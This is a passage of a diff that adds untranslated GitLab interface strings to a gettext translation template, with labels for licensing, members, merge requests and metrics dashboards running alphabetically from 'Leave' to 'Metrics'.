+msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
+msgstr ""
+
+msgid "Leave"
+msgstr ""
+
+msgid "Leave Admin Mode"
+msgstr ""
+
+msgid "Leave blank for no limit. Once set, existing personal access tokens may be revoked."
+msgstr ""
+
+msgid "Leave edit mode? All unsaved changes will be lost."
+msgstr ""
+
+msgid "Leave group"
+msgstr ""
+
+msgid "Leave project"
+msgstr ""
+
+msgid "Leave zen mode"
+msgstr ""
+
+msgid "Legacy burndown chart"
+msgstr ""
+
+msgid "Let's Encrypt does not accept emails on example.com"
+msgstr ""
+
+msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
+msgstr ""
+
+msgid "License"
+msgstr ""
+
+msgid "License Compliance"
+msgstr ""
+
+msgid "License History"
+msgstr ""
+
+msgid "License ID:"
+msgstr ""
+
+msgid "License overview"
+msgstr ""
+
+msgid "License-Check"
+msgstr ""
+
+msgid "LicenseCompliance|%{docLinkStart}License Approvals%{docLinkEnd} are active"
+msgstr ""
+
+msgid "LicenseCompliance|%{docLinkStart}License Approvals%{docLinkEnd} are inactive"
+msgstr ""
+
+msgid "LicenseCompliance|Acceptable license to be used in the project"
+msgstr ""
+
+msgid "LicenseCompliance|Add a license"
+msgstr ""
+
+msgid "LicenseCompliance|Add license and related policy"
+msgstr ""
+
+msgid "LicenseCompliance|Allow"
+msgstr ""
+
+msgid "LicenseCompliance|Allowed"
+msgstr ""
+
+msgid "LicenseCompliance|Denied"
+msgstr ""
+
+msgid "LicenseCompliance|Deny"
+msgstr ""
+
+msgid "LicenseCompliance|Disallow merge request if detected and will instruct developer to remove"
+msgstr ""
+
+msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
+msgstr ""
+
+msgid "LicenseCompliance|License Approvals"
+msgstr ""
+
+msgid "LicenseCompliance|License Compliance detected %d license and policy violation for the source branch only"
+msgid_plural "LicenseCompliance|License Compliance detected %d licenses and policy violations for the source branch only"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "LicenseCompliance|License Compliance detected %d license and policy violation for the source branch only; approval required"
+msgid_plural "LicenseCompliance|License Compliance detected %d licenses and policy violations for the source branch only; approval required"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "LicenseCompliance|License Compliance detected %d license for the source branch only"
+msgid_plural "LicenseCompliance|License Compliance detected %d licenses for the source branch only"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "LicenseCompliance|License Compliance detected %d new license"
+msgid_plural "LicenseCompliance|License Compliance detected %d new licenses"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "LicenseCompliance|License Compliance detected %d new license and policy violation"
+msgid_plural "LicenseCompliance|License Compliance detected %d new licenses and policy violations"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "LicenseCompliance|License Compliance detected %d new license and policy violation; approval required"
+msgid_plural "LicenseCompliance|License Compliance detected %d new licenses and policy violations; approval required"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "LicenseCompliance|License Compliance detected no licenses for the source branch only"
+msgstr ""
+
+msgid "LicenseCompliance|License Compliance detected no new licenses"
+msgstr ""
+
+msgid "LicenseCompliance|License name"
+msgstr ""
+
+msgid "LicenseCompliance|Remove license"
+msgstr ""
+
+msgid "LicenseCompliance|Remove license?"
+msgstr ""
+
+msgid "LicenseCompliance|There are currently no policies in this project."
+msgstr ""
+
+msgid "LicenseCompliance|There are currently no policies that match in this project."
+msgstr ""
+
+msgid "LicenseCompliance|This license already exists in this project."
+msgstr ""
+
+msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
+msgstr ""
+
+msgid "LicenseManagement|Allowed"
+msgstr ""
+
+msgid "LicenseManagement|Denied"
+msgstr ""
+
+msgid "LicenseManagement|Uncategorized"
+msgstr ""
+
+msgid "Licensed Features"
+msgstr ""
+
+msgid "Licensed to"
+msgstr ""
+
+msgid "Licensed to:"
+msgstr ""
+
+msgid "Licenses"
+msgstr ""
+
+msgid "Licenses|%{remainingComponentsCount} more"
+msgstr ""
+
+msgid "Licenses|Acceptable license to be used in the project"
+msgstr ""
+
+msgid "Licenses|Component"
+msgstr ""
+
+msgid "Licenses|Components"
+msgstr ""
+
+msgid "Licenses|Detected in Project"
+msgstr ""
+
+msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
+msgstr ""
+
+msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
+msgstr ""
+
+msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
+msgstr ""
+
+msgid "Licenses|Error fetching the license list. Please check your network connection and try again."
+msgstr ""
+
+msgid "Licenses|License Compliance"
+msgstr ""
+
+msgid "Licenses|Name"
+msgstr ""
+
+msgid "Licenses|Policies"
+msgstr ""
+
+msgid "Licenses|Policy"
+msgstr ""
+
+msgid "Licenses|Policy violation: denied"
+msgstr ""
+
+msgid "Licenses|Specified policies in this project"
+msgstr ""
+
+msgid "Licenses|The license list details information about the licenses used within your project."
+msgstr ""
+
+msgid "Licenses|View license details for your project"
+msgstr ""
+
+msgid "License|Buy license"
+msgstr ""
+
+msgid "License|License"
+msgstr ""
+
+msgid "License|You can restore access to the Gold features at any time by upgrading."
+msgstr ""
+
+msgid "License|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
+msgid "License|You do not have a license."
+msgstr ""
+
+msgid "License|Your License"
+msgstr ""
+
+msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
+msgstr ""
+
+msgid "Limit display of time tracking units to hours."
+msgstr ""
+
+msgid "Limit namespaces and projects that can be indexed"
+msgstr ""
+
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
+msgid "Limited to showing %d event at most"
+msgid_plural "Limited to showing %d events at most"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Line changes"
+msgstr ""
+
+msgid "Link"
+msgstr ""
+
+msgid "Link Prometheus monitoring to GitLab."
+msgstr ""
+
+msgid "Link copied"
+msgstr ""
+
+msgid "Link text"
+msgstr ""
+
+msgid "Link title"
+msgstr ""
+
+msgid "Link title is required"
+msgstr ""
+
+msgid "Link to an image"
+msgstr ""
+
+msgid "Link to go to GitLab pipeline documentation"
+msgstr ""
+
+msgid "Linked emails (%{email_count})"
+msgstr ""
+
+msgid "Linked issues"
+msgstr ""
+
+msgid "LinkedIn"
+msgstr ""
+
+msgid "LinkedPipelines|%{counterLabel} more downstream pipelines"
+msgstr ""
+
+msgid "Links"
+msgstr ""
+
+msgid "List"
+msgstr ""
+
+msgid "List Your Gitea Repositories"
+msgstr ""
+
+msgid "List available repositories"
+msgstr ""
+
+msgid "List of all merge commits"
+msgstr ""
+
+msgid "List of users to be excluded from the limit"
+msgstr ""
+
+msgid "List options"
+msgstr ""
+
+msgid "List settings"
+msgstr ""
+
+msgid "List the merge requests that must be merged before this one."
+msgstr ""
+
+msgid "List view"
+msgstr ""
+
+msgid "List your Bitbucket Server repositories"
+msgstr ""
+
+msgid "Live preview"
+msgstr ""
+
+msgid "Load more"
+msgstr ""
+
+msgid "Load more users"
+msgstr ""
+
+msgid "Loading"
+msgstr ""
+
+msgid "Loading %{name}"
+msgstr ""
+
+msgid "Loading contribution stats for group members"
+msgstr ""
+
+msgid "Loading files, directories, and submodules in the path %{path} for commit reference %{ref}"
+msgstr ""
+
+msgid "Loading functions timed out. Please reload the page to try again."
+msgstr ""
+
+msgid "Loading issues"
+msgstr ""
+
+msgid "Loading more"
+msgstr ""
+
+msgid "Loading snippet"
+msgstr ""
+
+msgid "Loading the GitLab IDE..."
+msgstr ""
+
+msgid "Loading..."
+msgstr ""
+
+msgid "Loading…"
+msgstr ""
+
+msgid "Local IP addresses and domain names that hooks and services may access."
+msgstr ""
+
+msgid "Localization"
+msgstr ""
+
+msgid "Location"
+msgstr ""
+
+msgid "Lock"
+msgstr ""
+
+msgid "Lock %{issuableDisplayName}"
+msgstr ""
+
+msgid "Lock memberships to LDAP synchronization"
+msgstr ""
+
+msgid "Lock not found"
+msgstr ""
+
+msgid "Lock the discussion"
+msgstr ""
+
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
+msgstr ""
+
+msgid "Lock to current projects"
+msgstr ""
+
+msgid "Locked"
+msgstr ""
+
+msgid "Locked Files"
+msgstr ""
+
+msgid "Locked by %{fileLockUserName}"
+msgstr ""
+
+msgid "Locked the discussion."
+msgstr ""
+
+msgid "Locked to current projects"
+msgstr ""
+
+msgid "Locks give the ability to lock specific file or folder."
+msgstr ""
+
+msgid "Locks the discussion."
+msgstr ""
+
+msgid "Login with smartcard"
+msgstr ""
+
+msgid "Logo was successfully removed."
+msgstr ""
+
+msgid "Logs"
+msgstr ""
+
+msgid "Logs|To see the logs, deploy your code to an environment."
+msgstr ""
+
+msgid "Low vulnerabilities present"
+msgstr ""
+
+msgid "MB"
+msgstr ""
+
+msgid "MD5"
+msgstr ""
+
+msgid "MERGED"
+msgstr ""
+
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
+msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
+msgstr ""
+
+msgid "MR widget|The pipeline will test your code on every commit. A %{codeQualityLinkStart}code quality report%{codeQualityLinkEnd} will appear in your merge requests to warn you about potential code degradations."
+msgstr ""
+
+msgid "MRApprovals|Approvals"
+msgstr ""
+
+msgid "MRApprovals|Approved by"
+msgstr ""
+
+msgid "MRApprovals|Approvers"
+msgstr ""
+
+msgid "MRApprovals|Commented by"
+msgstr ""
+
+msgid "MRDiffFile|Changes are too large to be shown."
+msgstr ""
+
+msgid "MRDiffFile|View file @ %{commitSha}"
+msgstr ""
+
+msgid "MRDiff|Show changes only"
+msgstr ""
+
+msgid "MRDiff|Show full file"
+msgstr ""
+
+msgid "Made this issue confidential."
+msgstr ""
+
+msgid "Maintenance mode"
+msgstr ""
+
+msgid "Make and review changes in the browser with the Web IDE"
+msgstr ""
+
+msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
+msgstr ""
+
+msgid "Make issue confidential"
+msgstr ""
+
+msgid "Make sure you save it - you won't be able to access it again."
+msgstr ""
+
+msgid "Makes this issue confidential."
+msgstr ""
+
+msgid "Manage"
+msgstr ""
+
+msgid "Manage Web IDE features"
+msgstr ""
+
+msgid "Manage access"
+msgstr ""
+
+msgid "Manage all notifications"
+msgstr ""
+
+msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
+msgstr ""
+
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
+msgid "Manage applications that you've authorized to use your account."
+msgstr ""
+
+msgid "Manage group labels"
+msgstr ""
+
+msgid "Manage labels"
+msgstr ""
+
+msgid "Manage milestones"
+msgstr ""
+
+msgid "Manage project labels"
+msgstr ""
+
+msgid "Manage storage usage"
+msgstr ""
+
+msgid "Manage two-factor authentication"
+msgstr ""
+
+msgid "Manage your license"
+msgstr ""
+
+msgid "Manage your project's triggers"
+msgstr ""
+
+msgid "Managed Account"
+msgstr ""
+
+msgid "Manifest"
+msgstr ""
+
+msgid "Manifest file import"
+msgstr ""
+
+msgid "Manifest import"
+msgstr ""
+
+msgid "Manual"
+msgstr ""
+
+msgid "ManualOrdering|Couldn't save the order of the issues"
+msgstr ""
+
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
+msgstr ""
+
+msgid "Map a FogBugz account ID to a GitLab user"
+msgstr ""
+
+msgid "Mar"
+msgstr ""
+
+msgid "March"
+msgstr ""
+
+msgid "Mark as done"
+msgstr ""
+
+msgid "Mark as draft"
+msgstr ""
+
+msgid "Mark as ready"
+msgstr ""
+
+msgid "Mark this issue as a duplicate of another issue"
+msgstr ""
+
+msgid "Mark this issue as related to another issue"
+msgstr ""
+
+msgid "Mark to do as done"
+msgstr ""
+
+msgid "Markdown"
+msgstr ""
+
+msgid "Markdown Help"
+msgstr ""
+
+msgid "Markdown enabled"
+msgstr ""
+
+msgid "Markdown is supported"
+msgstr ""
+
+msgid "MarkdownEditor|Add a link (%{modifierKey}K)"
+msgstr ""
+
+msgid "MarkdownEditor|Add a link (%{modifier_key}K)"
+msgstr ""
+
+msgid "MarkdownEditor|Add bold text (%{modifierKey}B)"
+msgstr ""
+
+msgid "MarkdownEditor|Add bold text (%{modifier_key}B)"
+msgstr ""
+
+msgid "MarkdownEditor|Add italic text (%{modifierKey}I)"
+msgstr ""
+
+msgid "MarkdownEditor|Add italic text (%{modifier_key}I)"
+msgstr ""
+
+msgid "Marked For Deletion At - %{deletion_time}"
+msgstr ""
+
+msgid "Marked this %{noun} as a draft."
+msgstr ""
+
+msgid "Marked this issue as a duplicate of %{duplicate_param}."
+msgstr ""
+
+msgid "Marked this issue as related to %{issue_ref}."
+msgstr ""
+
+msgid "Marked to do as done."
+msgstr ""
+
+msgid "Marks this %{noun} as a draft."
+msgstr ""
+
+msgid "Marks this issue as a duplicate of %{duplicate_reference}."
+msgstr ""
+
+msgid "Marks this issue as related to %{issue_ref}."
+msgstr ""
+
+msgid "Marks to do as done."
+msgstr ""
+
+msgid "Mask variable"
+msgstr ""
+
+msgid "Match not found; try refining your search query."
+msgstr ""
+
+msgid "MattermostService|Add to Mattermost"
+msgstr ""
+
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
+msgid "MattermostService|Command trigger word"
+msgstr ""
+
+msgid "MattermostService|Fill in the word that works best for your team."
+msgstr ""
+
+msgid "MattermostService|Request URL"
+msgstr ""
+
+msgid "MattermostService|Request method"
+msgstr ""
+
+msgid "MattermostService|Response icon"
+msgstr ""
+
+msgid "MattermostService|Response username"
+msgstr ""
+
+msgid "MattermostService|Suggestions:"
+msgstr ""
+
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
+msgstr ""
+
+msgid "Max 100,000 events"
+msgstr ""
+
+msgid "Max 20 characters"
+msgstr ""
+
+msgid "Max Group Export Download requests per minute per user"
+msgstr ""
+
+msgid "Max Group Export requests per minute per user"
+msgstr ""
+
+msgid "Max Group Import requests per minute per user"
+msgstr ""
+
+msgid "Max Project Export Download requests per minute per user"
+msgstr ""
+
+msgid "Max Project Export requests per minute per user"
+msgstr ""
+
+msgid "Max Project Import requests per minute per user"
+msgstr ""
+
+msgid "Max access level"
+msgstr ""
+
+msgid "Max file size is 200 KB."
+msgstr ""
+
+msgid "Max requests per minute per user"
+msgstr ""
+
+msgid "Max role"
+msgstr ""
+
+msgid "MaxBuilds"
+msgstr ""
+
+msgid "Maximum Conan package file size in bytes"
+msgstr ""
+
+msgid "Maximum Maven package file size in bytes"
+msgstr ""
+
+msgid "Maximum NuGet package file size in bytes"
+msgstr ""
+
+msgid "Maximum PyPI package file size in bytes"
+msgstr ""
+
+msgid "Maximum Users"
+msgstr ""
+
+msgid "Maximum allowable lifetime for personal access token (days)"
+msgstr ""
+
+msgid "Maximum artifacts size"
+msgstr ""
+
+msgid "Maximum artifacts size (MB)"
+msgstr ""
+
+msgid "Maximum attachment size (MB)"
+msgstr ""
+
+msgid "Maximum bulk request size (MiB)"
+msgstr ""
+
+msgid "Maximum capacity"
+msgstr ""
+
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
+msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
+msgstr ""
+
+msgid "Maximum delay (Minutes)"
+msgstr ""
+
+msgid "Maximum duration of a session."
+msgstr ""
+
+msgid "Maximum field length"
+msgstr ""
+
+msgid "Maximum file size indexed (KiB)"
+msgstr ""
+
+msgid "Maximum file size is 2MB. Please select a smaller file."
+msgstr ""
+
+msgid "Maximum import size (MB)"
+msgstr ""
+
+msgid "Maximum job timeout"
+msgstr ""
+
+msgid "Maximum job timeout has a value which could not be accepted"
+msgstr ""
+
+msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
+msgstr ""
+
+msgid "Maximum npm package file size in bytes"
+msgstr ""
+
+msgid "Maximum number of %{name} (%{count}) exceeded"
+msgstr ""
+
+msgid "Maximum number of comments exceeded"
+msgstr ""
+
+msgid "Maximum number of mirrors that can be synchronizing at the same time."
+msgstr ""
+
+msgid "Maximum number of projects."
+msgstr ""
+
+msgid "Maximum page reached"
+msgstr ""
+
+msgid "Maximum push size (MB)"
+msgstr ""
+
+msgid "Maximum size limit for a single commit."
+msgstr ""
+
+msgid "Maximum size limit for each repository."
+msgstr ""
+
+msgid "Maximum size of Elasticsearch bulk indexing requests."
+msgstr ""
+
+msgid "Maximum size of import files."
+msgstr ""
+
+msgid "Maximum size of individual attachments in comments."
+msgstr ""
+
+msgid "Maximum time between updates that a mirror can have when scheduled to synchronize."
+msgstr ""
+
+msgid "May"
+msgstr ""
+
+msgid "Mean time to merge"
+msgstr ""
+
+msgid "Measured in bytes of code. Excludes generated and vendored code."
+msgstr ""
+
+msgid "Median"
+msgstr ""
+
+msgid "Medium vulnerabilities present"
+msgstr ""
+
+msgid "Member lock"
+msgstr ""
+
+msgid "Member since %{date}"
+msgstr ""
+
+msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
+msgstr ""
+
+msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
+msgstr ""
+
+msgid "Members"
+msgstr ""
+
+msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
+msgstr ""
+
+msgid "Members listed as CODEOWNERS of affected files."
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
+msgid "Members of a group may only view projects they have permission to access"
+msgstr ""
+
+msgid "Members|%{time} by %{user}"
+msgstr ""
+
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
+msgstr ""
+
+msgid "Members|An error occurred while trying to enable LDAP override, please try again."
+msgstr ""
+
+msgid "Members|An error occurred while trying to revert to LDAP group sync settings, please try again."
+msgstr ""
+
+msgid "Members|An error occurred while updating the member's expiration date, please try again."
+msgstr ""
+
+msgid "Members|An error occurred while updating the member's role, please try again."
+msgstr ""
+
+msgid "Members|Are you sure you want to deny %{usersName}'s request to join \"%{source}\""
+msgstr ""
+
+msgid "Members|Are you sure you want to leave \"%{source}\"?"
+msgstr ""
+
+msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
+msgstr ""
+
+msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\""
+msgstr ""
+
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\""
+msgstr ""
+
+msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
+msgstr ""
+
+msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
+msgstr ""
+
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
+msgid "Members|Edit permissions"
+msgstr ""
+
+msgid "Members|Enabled"
+msgstr ""
+
+msgid "Members|Expiration date removed successfully."
+msgstr ""
+
+msgid "Members|Expiration date updated successfully."
+msgstr ""
+
+msgid "Members|Expired"
+msgstr ""
+
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
+msgid "Members|LDAP override enabled."
+msgstr ""
+
+msgid "Members|Leave \"%{source}\""
+msgstr ""
+
+msgid "Members|Membership"
+msgstr ""
+
+msgid "Members|No expiration set"
+msgstr ""
+
+msgid "Members|Remove \"%{groupName}\""
+msgstr ""
+
+msgid "Members|Remove group"
+msgstr ""
+
+msgid "Members|Revert to LDAP group sync settings"
+msgstr ""
+
+msgid "Members|Reverted to LDAP group sync settings."
+msgstr ""
+
+msgid "Members|Role updated successfully."
+msgstr ""
+
+msgid "Members|Search groups"
+msgstr ""
+
+msgid "Members|Search invited"
+msgstr ""
+
+msgid "Members|in %{time}"
+msgstr ""
+
+msgid "Member|Deny access"
+msgstr ""
+
+msgid "Member|Remove member"
+msgstr ""
+
+msgid "Member|Revoke invite"
+msgstr ""
+
+msgid "Memory Usage"
+msgstr ""
+
+msgid "Merge"
+msgstr ""
+
+msgid "Merge Conflicts"
+msgstr ""
+
+msgid "Merge Request"
+msgstr ""
+
+msgid "Merge Request Analytics"
+msgstr ""
+
+msgid "Merge Request Commits"
+msgstr ""
+
+msgid "Merge Requests"
+msgstr ""
+
+msgid "Merge Requests created"
+msgstr ""
+
+msgid "Merge Requests in Review"
+msgstr ""
+
+msgid "Merge Requests merged"
+msgstr ""
+
+msgid "Merge automatically (%{strategy})"
+msgstr ""
+
+msgid "Merge commit SHA"
+msgstr ""
+
+msgid "Merge commit message"
+msgstr ""
+
+msgid "Merge events"
+msgstr ""
+
+msgid "Merge immediately"
+msgstr ""
+
+msgid "Merge in progress"
+msgstr ""
+
+msgid "Merge locally"
+msgstr ""
+
+msgid "Merge options"
+msgstr ""
+
+msgid "Merge request"
+msgstr ""
+
+msgid "Merge request %{iid} authored by %{authorName}"
+msgstr ""
+
+msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
+msgstr ""
+
+msgid "Merge request (MR) approvals"
+msgstr ""
+
+msgid "Merge request approval settings have been updated."
+msgstr ""
+
+msgid "Merge request approvals"
+msgstr ""
+
+msgid "Merge request dependencies"
+msgstr ""
+
+msgid "Merge request events"
+msgstr ""
+
+msgid "Merge request was scheduled to merge after pipeline succeeds"
+msgstr ""
+
+msgid "Merge requests"
+msgstr ""
+
+msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
+msgstr ""
+
+msgid "Merge requests are read-only in a secondary Geo node"
+msgstr ""
+
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
+msgid "Merge when pipeline succeeds"
+msgstr ""
+
+msgid "MergeConflict|Commit to source branch"
+msgstr ""
+
+msgid "MergeConflict|Committing..."
+msgstr ""
+
+msgid "MergeConflict|HEAD//our changes"
+msgstr ""
+
+msgid "MergeConflict|Use ours"
+msgstr ""
+
+msgid "MergeConflict|Use theirs"
+msgstr ""
+
+msgid "MergeConflict|conflict"
+msgstr ""
+
+msgid "MergeConflict|conflicts"
+msgstr ""
+
+msgid "MergeConflict|origin//their changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
+msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
+msgstr ""
+
+msgid "MergeRequestDiffs|Select comment starting line"
+msgstr ""
+
+msgid "MergeRequests|An error occurred while checking whether another squash is in progress."
+msgstr ""
+
+msgid "MergeRequests|An error occurred while saving the draft comment."
+msgstr ""
+
+msgid "MergeRequests|Failed to squash. Should be done manually."
+msgstr ""
+
+msgid "MergeRequests|Resolve this thread in a new issue"
+msgstr ""
+
+msgid "MergeRequests|Saving the comment failed"
+msgstr ""
+
+msgid "MergeRequests|Squash task canceled: another squash is already in progress."
+msgstr ""
+
+msgid "MergeRequests|This project does not allow squashing commits when merge requests are accepted."
+msgstr ""
+
+msgid "MergeRequests|Thread stays resolved"
+msgstr ""
+
+msgid "MergeRequests|Thread stays unresolved"
+msgstr ""
+
+msgid "MergeRequests|Thread will be resolved"
+msgstr ""
+
+msgid "MergeRequests|Thread will be unresolved"
+msgstr ""
+
+msgid "MergeRequests|View file @ %{commitId}"
+msgstr ""
+
+msgid "MergeRequests|View replaced file @ %{commitId}"
+msgstr ""
+
+msgid "MergeRequests|commented on commit %{commitLink}"
+msgstr ""
+
+msgid "MergeRequests|started a thread"
+msgstr ""
+
+msgid "MergeRequests|started a thread on %{linkStart}an old version of the diff%{linkEnd}"
+msgstr ""
+
+msgid "MergeRequests|started a thread on %{linkStart}the diff%{linkEnd}"
+msgstr ""
+
+msgid "MergeRequests|started a thread on an outdated change in commit %{linkStart}%{commitDisplay}%{linkEnd}"
+msgstr ""
+
+msgid "MergeRequests|started a thread on commit %{linkStart}%{commitDisplay}%{linkEnd}"
+msgstr ""
+
+msgid "MergeRequest|Approved by @%{username}"
+msgstr ""
+
+msgid "MergeRequest|Compare %{target} and %{source}"
+msgstr ""
+
+msgid "MergeRequest|Error dismissing suggestion popover. Please try again."
+msgstr ""
+
+msgid "MergeRequest|Error loading full diff. Please try again."
+msgstr ""
+
+msgid "MergeRequest|No files found"
+msgstr ""
+
+msgid "MergeRequest|Search files (%{modifier_key}P)"
+msgstr ""
+
+msgid "Merged"
+msgstr ""
+
+msgid "Merged MRs"
+msgstr ""
+
+msgid "Merged branches are being deleted. This can take some time depending on the number of branches. Please refresh the page to see changes."
+msgstr ""
+
+msgid "Merged this merge request."
+msgstr ""
+
+msgid "Merged: %{merged}"
+msgstr ""
+
+msgid "Merges this merge request immediately."
+msgstr ""
+
+msgid "Merging immediately isn't recommended as it may negatively impact the existing merge train. Read the %{docsLinkStart}documentation%{docsLinkEnd} for more information."
+msgstr ""
+
+msgid "Message"
+msgstr ""
+
+msgid "Messages"
+msgstr ""
+
+msgid "Method"
+msgstr ""
+
+msgid "Metric was successfully added."
+msgstr ""
+
+msgid "Metric was successfully updated."
+msgstr ""
+
+msgid "Metric:"
+msgstr ""
+
+msgid "MetricChart|Please select a metric"
+msgstr ""
+
+msgid "MetricChart|Selected"
+msgstr ""
+
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
+msgid "Metrics"
+msgstr ""
+
+msgid "Metrics - Grafana"
+msgstr ""
+
+msgid "Metrics - Prometheus"
+msgstr ""
+
+msgid "Metrics Dashboard"
+msgstr ""
+
+msgid "Metrics Dashboard YAML definition"
+msgstr ""
+
+msgid "Metrics Dashboard YAML definition is invalid:"
+msgstr ""
+
+msgid "Metrics Dashboard YAML definition is valid."
+msgstr ""
+
+msgid "Metrics and profiling"
+msgstr ""
+
+msgid "Metrics::Dashboard::Annotation|Annotation can't belong to both a cluster and an environment at the same time"
+msgstr ""
+
+msgid "Metrics::Dashboard::Annotation|Annotation has not been deleted"
+msgstr ""
+
+msgid "Metrics::Dashboard::Annotation|Annotation must belong to a cluster or an environment"
+msgstr ""
+
+msgid "Metrics::Dashboard::Annotation|Dashboard with requested path can not be found"
+msgstr ""
+
+msgid "Metrics::Dashboard::Annotation|You are not authorized to create annotation for selected cluster"
+msgstr ""
+
+msgid "Metrics::Dashboard::Annotation|You are not authorized to create annotation for selected environment"
+msgstr ""
+
+msgid "Metrics::Dashboard::Annotation|You are not authorized to delete this annotation"
+msgstr ""
+
+msgid "Metrics::Dashboard::Annotation|can't be before starting_at time"
+msgstr ""
+
+msgid "Metrics::UsersStarredDashboards|Dashboard with requested path can not be found"
+msgstr ""
+
+msgid "Metrics::UsersStarredDashboards|You are not authorized to add star to this dashboard"
+msgstr ""
+
+msgid "MetricsSettings|Add a button to the metrics dashboard linking directly to your existing external dashboard."
+msgstr ""
+
+msgid "MetricsSettings|Choose whether to display dashboard metrics in UTC or the user's local timezone."
+msgstr ""
+
+msgid "MetricsSettings|Dashboard timezone"
+msgstr ""
+
+msgid "MetricsSettings|External dashboard URL"
+msgstr ""
+
+msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgstr ""
+
+msgid "MetricsSettings|Metrics dashboard"
+msgstr ""
+
+msgid "MetricsSettings|UTC (Coordinated Universal Time)"
+msgstr ""
+
+msgid "MetricsSettings|User's local timezone"
+msgstr ""
+
+msgid "Metrics|1. Define and preview panel"
+msgstr ""
+
+msgid "Metrics|2. Paste panel YAML into dashboard"
+msgstr ""
+
+msgid "Metrics|Add metric"
+msgstr ""
+
+msgid "Metrics|Add panel"
+msgstr ""
+
+msgid "Metrics|Avg"
+msgstr ""
+
+msgid "Metrics|Back to dashboard"
+msgstr ""
+
+msgid "Metrics|Cancel"
+msgstr ""
+
+msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
+msgstr ""
+
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
+msgid "Metrics|Copy YAML"
+msgstr ""
+
+msgid "Metrics|Copy and paste the panel YAML into your dashboard YAML file."
+msgstr ""
+
+msgid "Metrics|Create custom dashboard %{fileName}"
+msgstr ""
+
+msgid "Metrics|Create metric"
+msgstr ""
+
+msgid "Metrics|Create new dashboard"
+msgstr ""
+
+msgid "Metrics|Create your dashboard configuration file"
+msgstr ""
+
+msgid "Metrics|Current"
+msgstr ""
+
+msgid "Metrics|Dashboard files can be found in %{codeStart}.gitlab/dashboards%{codeEnd} at the root of this project."
+msgstr ""
+
+msgid "Metrics|Define panel YAML below to preview panel."
+msgstr ""
+
+msgid "Metrics|Delete metric"
+msgstr ""
+
+msgid "Metrics|Delete metric?"
+msgstr ""
+
+msgid "Metrics|Duplicate"
+msgstr ""
+
+msgid "Metrics|Duplicate current dashboard"
+msgstr ""
+
+msgid "Metrics|Duplicate dashboard"
+msgstr ""
+
